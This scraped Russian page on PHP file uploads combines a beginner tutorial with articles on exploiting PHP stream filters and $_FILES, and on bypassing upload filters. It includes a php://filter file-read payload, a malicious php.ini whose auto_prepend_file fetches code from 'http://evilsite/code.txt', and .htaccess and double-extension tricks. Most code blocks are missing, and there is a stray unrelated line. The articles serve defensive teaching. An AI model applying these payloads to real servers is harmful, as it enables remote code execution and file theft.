    Директории не существует, куда Вы отправляете файл.

    Народ у меня есть скрипт, но я не могу реализовать под php — помогите пожалуйста!

    Мне кто-нибудь поможет. Я даж заплачу за потраченное время!

    Михаил, а почему бы вам не сделать свой хостинг изображений специально для форума, чтобы люди могли загружать изображения и вставлять ссылку в сообщение на форуме? Было бы очень удобно а главное оригинально так как никто не додумается такое сделать и вы будете единственным с такой возможностью

    Идея не нова, но я так сделаю. Но всё это будет не раньше весны.

    Загрузка файлов на сервер с помощью PHP

    Загрузка файлов в веб-приложениях является обычной практикой. В этой статье я расскажу, как загрузить файлы на сервер с помощью PHP.

    Но в начале я бы хотел сказать пару слов о том, как же происходит загрузка файлов.

    Для этого нам понадобится html форма с полем ввода типа . Кроме того, для передачи файлов на сервер необходимо форме установить тип multipart. Для этого в качестве параметра enctype указывается значение multipart/form-data.

    После того, как на html страничке мы разместим форму с полем в окне браузера отобразится поле с возможностью выбрать файл на локальном компьютере.

    После того, как пользователь выберет нужный файл и нажмет кнопку «Загрузить» форма передаст данные php скрипту на сервер, который указан в action формы. Если action формы пустой, то данные будут переданы тому же файлу, на котором находится форма. Вся информация о загружаемом файле помещается в массив $ _FILES. Нам лишь остается извлечь эту информацию и переместить файл в необходимое нам место.

    Прежде, чем приступить к написанию скрипта обработки multipart-формы, нужно отредактировать файл конфигурации php.ini, чтобы разрешить загрузку файлов на сервер.

    Конфигурационный файл PHP php.ini имеет три параметра, связанные с загрузкой файлов на сервер:

    • file_uploads = On — разрешает загрузку файлов на сервер по протоколу HTTP;
    • upoad_tmp_dir = /tmp — устанавливает каталог для временного хранения загруженных файлов;
    • upload_max_filesize = 2M — устанавливает максимальный объем загружаемых файлов.

    Итак, создайте новый файл с именем upload.php и скопируйте в него следующий код.

    Если внимательно посмотреть на форму, то Вы увидите скрытое поле

    Оно указывает на максимальный размер принимаемого файла в байтах. Но не следует доверять этому значения, так как оно является лишь уведомляющим и его легко можно обойти! Так что имейте это в виду!

    После того как пользователь выбрал файл и нажал на кнопку «Загрузить», вся информация о файле, как упоминалось ранее, помещается в массив $ _FILES, а сам файл помещается во временный каталог на сервере, который указан в в php.ini.

    Так как поле file называлось name=»uploadFile», то массив $ _FILES будет содержать ассоциативный массив с ключом «uploadFile».

    • $_FILES[‘ uploadFile ‘][‘name’] — имя файла до его отправки на сервер, например, pict.gif;
    • $_FILES[‘ uploadFile ‘][‘size’] — размер принятого файла в байтах;
    • $_FILES[‘ uploadFile ‘][‘type’] — MIME-тип принятого файла (если браузер смог его определить), например: image/gif, image/png, image/jpeg, text/html;
    • $_FILES[‘ uploadFile ‘][‘tmp_name’] — содержит имя файла во временном каталоге, например: /tmp/phpV3b3qY;
    • $_FILES[‘ uploadFile ‘][‘error’] — Код ошибки, которая может возникнуть при загрузке файла.

    После завершения работы скрипта, временный файл будет удален. Это означает, что мы должны его скопировать в другое место до завершения работы скрипта.

    Итак, с алгоритмом разобрались! Теперь давайте взглянем на код.

    Первым делом мы проверяем была ли нажата кнопка submit.

    Если кнопка submit была нажата, то дальше мы проверяем был ли файл загружен через HTTP POST:

    Если файл был загружен через HTTP POST, то далее мы его перемещаем из временного каталога в нужный нам каталог. Это делается при помощи функции move_uploaded_file, которая принимает два параметра: имя файла для загрузки и путь куда будет перемещен файл. В случае успешного перемещения файла, данная функция возвратит true, в противном случае –false.

    В нашем случае в качестве имени файла выступает имя временного файла на сервере — $_FILES[‘uploadFile’][‘tmp_name’], а в качестве каталога, куда будет перемещен файл – переменная $uploadedFile, которая было объявлена выше в скрипте и содержит новое место хранения файла.

    Из своего опыта могу сказать, что хранить оригинальное название файла на сервере не стоит, поэтому его можно переименовать. Для этого сгенерируем случайное название для нашего файла и функция move_uploaded_file() переместит и переименует наш файл:

    Ну и напоследок приведу список возможных ошибок, которые возникают во время загрузки файлов на сервер. Напоминаю, что код ошибки хранится в переменной $_FILES[‘ uploadFile ‘][‘error’]:

    • 0- Ошибок не возникало, файл был успешно загружен на сервер.
    • 1- Размер принятого файла превысил максимально допустимый размер, который задан директивой upload_max_filesize конфигурационного файла php.ini..
    • 2- Размер загружаемого файла превысил значение MAX_FILE_SIZE, указанное в HTML-форме.
    • 3- Загружаемый файл был получен только частично.
    • 4- Файл не был загружен.
    • 6- Нет временную папку.
    • 7- Сбой при записи файлов на диск.
    • 8- Загрузка файла остановлена.

    Как видите, организовать загрузку файлов на сервер не так уж и сложно. Сложнее обеспечить необходимый уровень безопасности, так как загрузка файлов на сервер может использоваться злоумышленниками для атаки на сервер.

    При помощи нашего скритпа злоумышленник сможет загружать произвольные файлы на сервер, к примеру, он сможет закачать на сервер php-скрипт, который рекурсивно сможет удалить все ваши файлы на сервере или PHP-shell, так что если вы пишите свой загрузчик файлов, то к этому делу надо подойти серьезно, ничего не упустив.

    В нашем примере я не ставил перед собой такой задачи, а лишь показал Вам весь механизм загрузки файлов на сервер, но в следующей статье, я покажу, как обеспечить необходимый уровень безопасности!

    Эксплуатация уязвимостей в функциях для работы с файлами в PHP

    Содержание статьи

    PHP предоставляет богатые возможности для работы с файлами. Любой веб-программист сталкивался с функциями fopen, copy, filegetcontents и т. д. Однако далеко не каждый знает о таких довольно эффективных конструкциях, как фильтры и потоки, в которых совсем недавно обнаружились крайне серьезные баги.

    bit.ly/tTtvWV — пример использования класса Lightning-Template.

    bit.ly/mdrdqf — статья, подробно рассказывающая об уязвимости File path injection.

    pastebin.com/1edSuSVN — пример использования уязвимости File path injection.

    bit.ly/g6ztD3 — описание уязвимости, связанной с неправильной обработкой ключей в массиве $_FILES.

    СТАНДАРТНЫЕ ФИЛЬТРЫ

    Прежде чем приступать к описанию новых векторов атак, хочу немного рассказать о фильтрах и потоках, которые появились еще в PHP 4.3 и предоставили скриптам абстрактный слой для доступа к файлам. Различные ресурсы в PHP (сетевые соединения, протоколы сжатия и т. д.) могут рассматриваться как «потоки» данных. Можно последовательно считывать информацию из таких потоков или записывать ее в них. При этом существует ряд зарегистрированных в PHP фильтров, с помощью которых можно модифицировать данные, получаемые из потока. Для того чтобы получить список имеющихся в твоей системе фильтров, достаточно выполнить такой код:

    Сампописный фильтр в девелоперской версии форума phpBB3

    Хакер #156. Взлом XML Encryption

    Чтобы использовать фильтр, его нужно связать с потоком. Это делается с помощью функции stream_filter_append/stream_filter_prepend или же с помощью враппера php://filter . Первый способ предоставляет больше возможностей для работы с фильтрами, но второй более компактен, что тоже обеспечивает определенные преимущества. Вот один пример использования фильтров для кодирования строки:

    А вот пример однострочного скрипта, который получает данные методом POST, кодирует их в Base64 и выводит обратно:

    Вообще, PHP позволяет осуществлять подстановку одного враппера в другой, что помогает очень сильно сократить код. Например, соединение с удаленным ftp-сервером, скачивание с него gz-архива, распаковку этого архива и сохранение его у себя на веб-сервере можно закодить всего в одной строке:

    Враппер php://filter также применяется и для обеспечения безопасности веб-приложений. Например, скрипт

    при настройке «allowurlinclude = Off» не позволит злоумышленнику провести атаку RFI. Однако этот скрипт вполне позволяет прочитать локальные PHP-файлы — для этого достаточно послать уязвимому сценарию следующий POST-запрос: inc=php://filter/read%3Dconvert.base64-encode/resource%3D/ path/script.php

    Хотя встроенные фильтры предоставляют впечатляющие возможности для решения самых разнообразных задач, разработчики PHP пошли дальше и позволили веб-программистам создавать собственные фильтры. И вот это уже интереснее всего!

    ПИШЕМ СВОЙ ФИЛЬТР

    О создании пользовательских фильтров написано мало и отрывочно, некоторые функции, необходимые для этого, очень скудно документированы. Тем не менее веб-приложения с такими фильтрами существуют. Предположим, что нам необходимо обрабатывать потоки с помощью функции nl2br. Для этого мы и напишем свой фильтр. Я не буду приводить код полностью, поясню лишь основные моменты метода filter (полный код ищи на нашем диске).

    Итак, для начала нам нужно считать данные из потока. В дальнейшем мы будем обрабатывать их с сохранением во внутренней переменной «$this->_data»:

    Когда мы прочитаем все данные из потока, параметр $closing примет значение TRUE. Теперь можно их обрабатывать:

    Мы отправляем обработанные данные на точку выхода, а фильтр возвращает значение PSFS_PASS_ON . Это означает, что все прошло успешно. Написанный фильтр нужно зарегистрировать. Делается это следующим образом:

    Зарегистрированный фильтр доступен из любой функции, поддерживающей потоки.


    Первый пример самописного фильтра

    ПОЛЬЗОВАТЕЛЬСКИЕ ФИЛЬТРЫ

    Пользовательский фильтр — это расширение встроенного класса phpuserfilter. При создании фильтра необходимо задать следующие методы: filter, onCreate, onClose. Первым и самым важным методом является filter, который принимает четыре параметра:

    1. $in — точка входа, ресурс, из которого поступают данные как по «цепочке людей, передающих ведро».
    2. $out — точка выхода, ресурс, в который отдаются обработанные данные.
    3. $consumed — место, где хранится длина данных, полученных фильтром, этот параметр всегда должен передаваться по ссылке.
    4. $closing — булева переменная, регулирующая получение данных, принимает значение TRUE, если считывание данных из входящего потока закончено.

    Также метод filter должен возвращать одну из следующих трех констант:

    1. PSFSPASSON — данные успешно обработаны и переданы в точку выхода.
    2. PSFSFEEDME — ошибки отсутствуют, но данных для передачи в $out нет.
    3. PSFSERRFATAL (default) — произошла ошибка.

    Методы onCreate/onClose применяют редко, но лучше включать их в код фильтра. Если фильтр оперирует другими ресурсами (например, буфером), то это указывается в методе onCreate, вызываемом при инициализации фильтра. Метод onCreate должен возвращать FALSE в случае неудачи и TRUE в случае успеха. Метод onClose вызывается при завершении работы фильтра (обычно во время закрытия потока). Чтобы наш фильтр был доступен, необходимо зарегистрировать его в системе с помощью функции streamfilterregister.

    ПРИВЕТ ИЗ ЯПОНИИ

    Теперь, когда мы научились создавать собственные фильтры, посмотрим, как они применяются в реально существующих скриптах. Воспользуемся для этого сервисом Google Code Search. Будем искать примеры использования функции streamfilterregister. При этом нам должен встретиться довольно интересный класс Lightning-Template (ссылки на сам класс и страницу разработчика ищи в сносках), который мы рассмотрим чуть подробнее. Допустим, у нас есть некий абстрактный шаблон sample.html:

    сгенерит следующую HTML-страницу:

    Пример использования класса Lightning Template

    Таким образом, упомянутый класс по заданным шаблонам генерит соответствующий HTML-код. Хотелось бы сразу отметить, что подключение темплейтов в этом классе происходит через уже знакомую тебе конструкцию include, однако это не самое лучшее решение. Определенные группы пользователей обладают правами на редактирование темплейтов, что позволяет внедрять в них зловредный PHP-код, который успешно выполняется согласно логике данного класса. Самописный фильтр, идущий вместе с классом, как раз и делает всю основную работу по преобразованию HTML-кода. Внесем небольшие изменения в этот фильтр:

    В строке, начинающейся с «‘ , я удалил одинарные кавычки. Это не влияет на функциональность фильтра, но дает нам новые возможности. Изменив фильтр, я добился того, чтобы произвольные команды исполнялись с помощью preg_replace с модификатором «e». Таким образом, если в темплейте есть строка:

    — то при её обработке выполнится PHP-код. Важно отметить, что фильтры можно использовать с любыми функциями, поддерживающими потоки. Например, рассмотрим следующий скрипт:

    Вспоминаем, что один враппер можно подставить в другой. Поэтому наши команды будут успешно выполняться для следующего POST-параметра file:

    Таким образом, фильтры с уязвимостями очень сильно снижают безопасность системы в целом, так как проэксплуатировать подобные баги поможет любая функция, поддерживающая потоки, а такие функции во множестве используются для обработки входящих данных. Рассмотрим, например, загрузку файлов на сервер стандартными средствами PHP.

    FILE UPLOAD

    Обычно для загрузки файлов на сервер используют либо функцию moveuploadedfile, либо функцию copy. Довольно часто пользователям разрешается загружать графические изображения, картинки, аватары и т. д. При этом разработчики предусматривают разнообразные процедуры проверки загружаемых файлов, чтобы вместо картинки никто не загрузил полноценный веб-шелл. Чтобы понять, какая проверка действительно эффективна, а какую легко можно обойти, рассмотрим процесс обычной загрузки файла в подробностях.

    Итак, для отправки пользовательского файла используется HTML-форма, например такая:

    Когда мы выбираем файл для загрузки у себя на компьютере и нажимаем кнопку Upload, удаленному серверу отправляется POST-запрос, в котором обязательно содержится хедер Content-Type следующего вида:

    Илон Маск рекомендует:  Point - Функция Delphi

    А сами POST-данные имеют такой вид:

    Как несложно догадаться, при заполнении формы мы выбрали файл hello.txt, который содержит « » . Когда PHP-скрипт на удаленном сервере получает этот запрос, интерпретатор PHP создает на сервере временный файл с именем типа phpseUm44, в который и попадает содержимое hello.txt. Этот временный файл хранится до завершения работы скрипта, а потом автоматически удаляется (подробнее о временных файлах в PHP читай в предыдущем номере нашего журнала). Также создается массив $_FILES следующего вида:

    Тут важно понимать, что $_FILES[uploadfile][type] совпадает с элементом Content-Type, который формируется на стороне клиента. Обычно браузер автоматически заполняет этот элемент в зависимости от выбранного файла, поэтому некоторые веб-мастера, наивно надеясь обезопасить себя от загрузки зловредных PHP-скриптов, проводят только вот такую простенькую проверку:

    При этом они забывают, что любой элемент пользовательского запроса можно легко изменить, то есть обойти такого рода фильтр очень просто. Для проверки также довольно часто используется функция getimagesize(). Конечно, это более эффективно, но не стоит забывать, что пользователь с легкостью может изменить EXIF-теги изображения, поэтому такой фильтр также легко можно обойти. Остается открытым вопрос о том, в каком виде файл сохраняется на сервере. Например, в зависимости от настроек веб-сервера файл pic.php.myext вполне может быть обработан как PHP-скрипт. Таким образом, безопасный аплоад файлов — это не только проверки в скриптах, но и грамотно решенный вопрос о местонахождении и обработке загруженных файлов. При этом также не стоит забывать и об особенностях самого PHP, связанных с массивом $_FILES.

    УЯЗВИМОСТИ ЗАГРУЗКИ ФАЙЛОВ

    Первая уязвимость, о которой я бы хотел рассказать, — это недостаточная обработка имени файла при его загрузке. Эта уязвимость помечена на сайте bugs.php.net как приватная, тем не менее если постараться, все-таки можно найти ее описание. �� Баг заключается в том, что если имя файла начинается со слеша или бэкслеша и больше слешей/бэкслешей не содержит, то оно проходит как есть в элемент массива $_FILES[uploadfile][name] . Таким образом, вместо того чтобы загрузить файл в текущую директорию скрипта, мы загрузим его в корневую директорию веб-сервера. На машинах под управлением Unix-подобных систем мы не сможем ничего загрузить в корневую папку из-за нехватки прав. Но вот на Windows-машинах вполне можно провернуть такой финт ушами. По ссылке в сносках ищи обучающее видео из блога первооткрывателя этого бага.

    Вторая уязвимость более существенна. Она обусловлена неправильной обработкой ключей в массиве $_FILES. Впервые о ней я узнал от человека под ником Qwazar с форума rdot.org. Вместе с BlackFan, еще одним камрадом с этого форума, они провели тесты, раскрывающие суть этого бага. С их разрешения я расскажу о нем более подробно. Итак, пусть у нас есть мультифайловая загрузка, реализуемая с помощью функции copy:

    Это позволяет не только загружать файлы, но и читать произвольный контент с сервера! Если мы отсылаем файлы на сервер при помощи вот такой вот формы:

    — то в массиве $_FILES создаются элементы следующего типа:

    Функция copy вполне успешно воспринимает эти элементы:

    Таким образом, мы получаем возможность для манипулирования произвольными параметрами в $_FILES (ниже я покажу, что такое поведение характерно не только для функции copy). Приведу простой пример, чтобы более детально разъяснить суть уязвимости. Если на удаленном сервере имеется вышеуказанный скрипт (назовем его upload.php), а у нас на компьютере есть соответствующая HTML-форма, то для чтения исходника скрипта secret.php, который находится в той же директории, что и upload.php, нам необходимо и достаточно создать у себя на жестком диске два файла: 1. Файл с именем secret.php, содержимое которого не столь важно (пусть, к примеру, это будет « » ). 2. Файл с совсем простым именем, допустим «1». Его содержимое будет состоять из одного символа «1».

    В качестве имени второго файла выбрано число, чтобы он смог пройти следующую проверку:

    Теперь открываем вышеуказанную форму в браузере и в поле «file[tmp_name][» выбираем файл secret.php, а в остальных полях — файл с именем «1». Затем жмем на сабмит и видим, что в той же директории появился файл test.txt. Он представляет собой точную копию файла secret.php, но имеет расширение txt, и значит, мы легко можем просмотреть его в браузере.

    Кстати, чтобы просмотреть файл из произвольной директории, нужно изменить поле Content-Type (то, о котором я говорил выше). В этом поле мы можем указать путь к любому файлу на сервере, и этот файл успешно скопируется в test.txt. Но и это еще не все!

    «БЕЗОПАСНАЯ» ЗАГРУЗКА ФАЙЛОВ НА СЕРВЕР

    Как отмечено выше, в основном загрузка файлов осуществляется с помощью функций moveuploadedfile и copy. Однако существуют и другие варианты для выполнения этой сложной и ответственной задачи. Один из таких вариантов (он, кстати, более предпочтителен, если речь идет о загрузке только изображений) — использование функций imagecreatefrom/image. Так как эти функции работают только с изображениями, то ничего, кроме картинки, мы им подсунуть не сможем. Например, скрипт

    загружает на сервер только картинку в формате JPEG, при этом полностью уничтожая все находящиеся в EXIF-тегах данные. Таким образом, злоумышленик никак не сможет залить на сервер что-то опасное. Но даже в таком, казалось бы, надежном методе есть свои подводные камни. Сразу хочу заметить, что найти в реальных скриптах приведенные ниже примеры будет непросто, однако все они имеют право на жизнь.

    Итак, главная особенность функций imagecreatefrom* заключается в том, что они не только работают с графическими файлами, но и вполне себе поддерживают описанные выше потоки! Это открывает, к примеру, прекрасную возможность хранить картинки не на сервере, а в базе данных. Таким образом, если пропустить картинку через base64_encode и сохранить в БД, то потом такое изображение можно будет вывести на экран, например, вот так:

    Эта особенность может оказаться довольно полезной, так как грузить картинки в базу намного безопасней, чем в файлы. Например, разработчикам не нужно думать о правах доступа к директориям с картинками, о доступности этих директорий из веба и о других подобных вопросах. Однако то, что функции воспринимают потоки, изредка приводит к довольно неожиданным результатам.

    Предположим, что у нас есть веб-приложение, которое имеет описанный выше уязвимый фильтр, а также осуществляет мультифайловую загрузку, но не с помощью функции copy, а с помощью функции imagecreatefrom/image, например такой:

    Создаем на сервере файл 1.jpg c произвольным содержимым, выбираем его во всех полях формы, которую я приводил выше, и отсылаем POST-запрос с модифицированным полем Content-Type:

    Таким образом, мы можем выполнить произвольный код на сервере! Курьез этого примера состоит в том, что точкой входа служит, казалось бы, вполне безобидная функция imagecreatefromjpeg. Однако стоит учесть, что возможность выполнять произвольный код появляется только благодаря уязвимому фильтру, а такие фильтры встречаются далеко не на каждом шагу.

    «Приватная» уязвимость PHP

    НОВАЯ ЖИЗНЬ СТАРЫХ БАГОВ

    В конце 2009 года в PHP уже был найден похожий баг, связанный с неразберихой в ключах глобальных массивов. По задумке разработчиков, в именах GPC-переменных не должны содержаться символы « » (пробела), «.» и «[» (они могут интерпретироваться как элементы специального синтаксиса массивов). Однако версии PHP того времени допускали нарушение логики в образовании таких имен. Чтобы воспроизвести баг, набросаем специальную HTML-форму:

    Также напишем скрипт index.php для вывода результата на экран:

    Как видишь, логика в построении массива явно нарушена. Очень похожее нарушение логики лежит и в основе уязвимости в $_FILES, описанной в статье.

    ВМЕСТО ЗАКЛЮЧЕНИЯ

    В последнее время багокопатели стали все чаще устремлять свои пылкие взоры на механизмы работы с файлами в PHP. В этой статье я постарался доходчиво описать очередную порцию таких багов, а также привел малоизвестные факты о фильтрах и потоках. Надеюсь, что новые знания помогут веб-разработчикам грамотно, красиво и, главное, безопасно кодить свои приложения.

    IntSystem.org

    Случаи из опыта разработки различных WEB проектов. Интересные факты, статьи, впечатления. Программирование и все о нем в сфере WEB.

    А как Вы загружаете файлы на сервер?

    «…или почему фильтрация по черному списку это плохо?»

    Представим обычную загрузку файлов с помощью php. Я думаю все с этим сталкивались. Отбросим извращенные варианты, типа хранения файлов в базе, их переименовывание и прочее. Возьмем именно обычную наипростейшую форму загрузки файлов.

    Обычно это форма на хтмл, затем серверная валидация по расширению загружаемого файла и последующий перенос загруженного файла из временной папки в папку загрузок. Отбросим все миллионы ошибок, которые совершают программисты в этих, казалось бы простейших, вещах, и посчитаем что этот функционал реализован грамотно и без ошибок.

    Встает вопрос, а как именно фильтровать расширения файлов? Существуют два варианта:

    • По белому списку — составляем список допустимых расширений файлов, а все остальные блокируем
    • По черному списку — составляем список блокируемых расширений, а все остальные загружаем

    Беда в том что для реализации фильтрации по белому списку нужно предусмотреть все возможные варианты нужных расширений которые будет загружать наш скрипт. И если для мест где необходимо загружать только картинки — все просто, то во многих других случаях прийдется составить довольно большой список легитимных расширений. Поэтому многим разработчикам кажется, что следует пойти от обратного, и запретить опасные расширения.

    И если в первом случае многие уверены, что будут залиты файлы только с требуемыми расширениями (в статье я расскажу вам как можно обойти и это), то вот во втором случае не все так просто.

    Эта статья о том чем плоха фильтрация по черному списку, и как этот фильтр можно обойти. А также приятным бонусом добавлю способ обхода фильтра по белому списку (и даже это возможно! о как!)

    Начнем мы с проблем фильтрации по черному списку.

    Куча расширений

    Первая проблема состоит в том, что апачем по дефолту (хотя может и не по дефолту, но по крайней мере очень часто) обрабатывается куча файлов с различными расширениями как php скрипты. Вы по-прежнему думаете что достаточно блокировать только «.php»? А вот фигушки, вот неполный список возможных расширений:

    Да, да, в некоторых конфигурациях апача «.html» может обрабатыватся как php скрипт.

    А еще мы же забыли про cgi, перл и прочие вкусняшки для хаккера. Да, обычно их запуск возможен только из папки «/cgi-bin», но кто знает, может быть именно ваш сервер сконфигурирован иначе…

    И достаточно упустить хоть одно расширение, и злоумышленник, при попытке взлома, наверняка попытается залить файл с таким расширением и затем его выполнить, что скорее всего приведет к полному взлому вашего сайта.

    Меняем конфиг под себя

    Ну все, админ оказался параноиком и добавил в фильтр все исполняемые расширения. Но, как говорится, на каждый хитрый болт найдется своя хитрая гайка. Ведь админу даже не подумалось добавить расширение «.htaccess» (если это конечно можно назвать расширением :D) в список фильтра.

    Пробуем загрузить файл с именнем «.htaccess» следующего содержания:

    И теперь в папке куда был загружен этот файл, все файлы с расширением «.doc» будут интерпетироваться как php скрипты и соответственно выполнятся. Осталось загрузить php скрипт с этим расширением и он будет успешно выполнен.

    Льем php.ini

    Допустим админ пошел дальше, и добавил в список расширение «.ht*» или допустим проверку на не пустое имя файла (это тоже не даст загрузить файл «.htaccess»).

    Не так давно я писал про интересную особенность связки php+cgi (и кстати fastcgi тоже): PHP и CGI. Обход ограничений безопасности

    Напомню содержание. Если php работает в указанной выше связке, то любой файл имеющий имя php.ini в любой папке будет менять локальные значения опций конфигурации php для этой папки. То есть говоря простым языком, создав файл php.ini в какой нибудь папке, мы можем применить свои настройки php для скриптов в этой папке.

    Для выполнения данной атаки мы должны иметь следующее стечение обстоятельств:

    • Php должен быть подключен через CGI
    • Папка куда загружаются файлы должен содержать хотябы один php скрипт (допустим index.php)
    • Фильтр не должен резать расширение .ini (то есть у нас должно получится загрузить файл php.ini)

    В php есть такая интересная опция, которая называется auto_prepend_file:

    Определяет имя файла, который будет автоматически обрабатываться перед основным файлом. Файл вызывается так, будто он был подключен при помощи функции require, так что include_path также используется.

    Если в двух словах, то перед каждым выполнением любого скрипта, будет исполнятся сначала скрипт указанный в «auto_prepend_file». Догадываетесь к чему я клоню?

    Интересно то, что можно указывать удаленный адрес файла на другом сервере, и это очень удобно. Льем такой файл php.ini:

    ; Включаем чтение удаленных файлов (это требует allow_url_include)
    allow_url_fopen=1

    ; Включаем возможность удаленного инклуда
    allow_url_include=1

    ; Подключаем «свой» скрипт со «злым» кодом
    auto_prepend_file= «http://evilsite/code.txt»

    Залили файл? Отлично! Теперь обращаемся к любому php скрипту который есть в дирректории куда заливаются все файлы (именно для этого я писал что нужен php скрипт в этой папке). При обращении к скрипту из этой папки в первую очередь будет выполнен файл указанный в auto_prepend_file.

    «Двойное» расширение

    «MIME-код — cправка, что ты не верблюд.»
    несмешная штука из журнала ][akep

    А вы знаете что каждый файл с каждым расширением имеет свой mime-тип? И когда вы скачиваете какой либо файл, то веб сервер говорит браузеру какой тип у данного файла. Этот mime-тип определяется апачем по расширению файла с помощью специальной таблицы соответствия. На основе определенного типа веб сервер может выполнять с данным файлом определенные действия, к примеру выполнить этот файл как php скрипт или perl скрипт или просто отдать его содержимое без обработки и т.д.

    Кстати в разделе про .htaccess мы добавляли свой mime тип для файлов doc, тем самым вынуждая веб сервер обрабатывать данные файлы как php скрипты. Но в общем речь не об этом.

    Дело в том что апач вообще «уникальный» веб сервер. Вроде бы логично проверить только расширение файла и успокоиться, верно? Но вот фиг! Если вдруг окажется что данного расширения нет среди зарегистрированного, то апач проверяет наличие точки в имени файле и выделяет второе расширение!! То есть mime тип будет определятся уже по части имени файла а не по его «классическому» расширению. И так пока не будет определен mime-тип, либо не закончатся «расширения» в имени файла.

    Так как мало кто знает о такой особенности, то именно этот способ дает возможность успешно обходить фильтры, как и по белому списку (в некоторых случаях) так и по черному списку (практически всегда). Для обхода белого списка нам необходимо найти допустимое к загрузке расширение, для которого mime тип не определен, обычно это расширение — «.rar» (Вот согласитесь, вы бы никогда не подумали бы что разрешив «.rar» к загрузке вы открываете огромную брешь в безопасности?).

    Берем некий скрипт, переименовываем его в «script.php.rar» и заливаем на сервер. И о чудо! Этот файл интерпретируется как php скрипт!

    Заметьте эта фишка апача опасна тем что это не совсем логичное поведение веб сервера, и мало кто о ней знает. И именно она позволяет обходить большое колличество фильтров.

    А как же защититься?

    В идеальном случае это конечно полностью переименовывать файл (включая расширение) в некий идентификатор, а информацию о файле хранить в БД. Затем, используя дополнительный обработчик, выдывать нужный файл и его данные по его идентификатору. Но этот способ плох тем что требует использование дополнительного обработчика.

    А вот способ с прямым сохранением файлов и последующей их отдачей только с помощью веб сервера, намного проще и менее ресурсоемок, хотя и более опасен. Для того чтобы сделать нормальную фильтрацию для этого способа, необходимо использовать: во-первых фильтрацию по белому списку, а во-вторых удалять/заменять все спецсимволы в имени файла (точки, слеши, нулбайты и проч).

    Понравилась статья? Поделиться с друзьями:
    Кодинг, CSS и SQL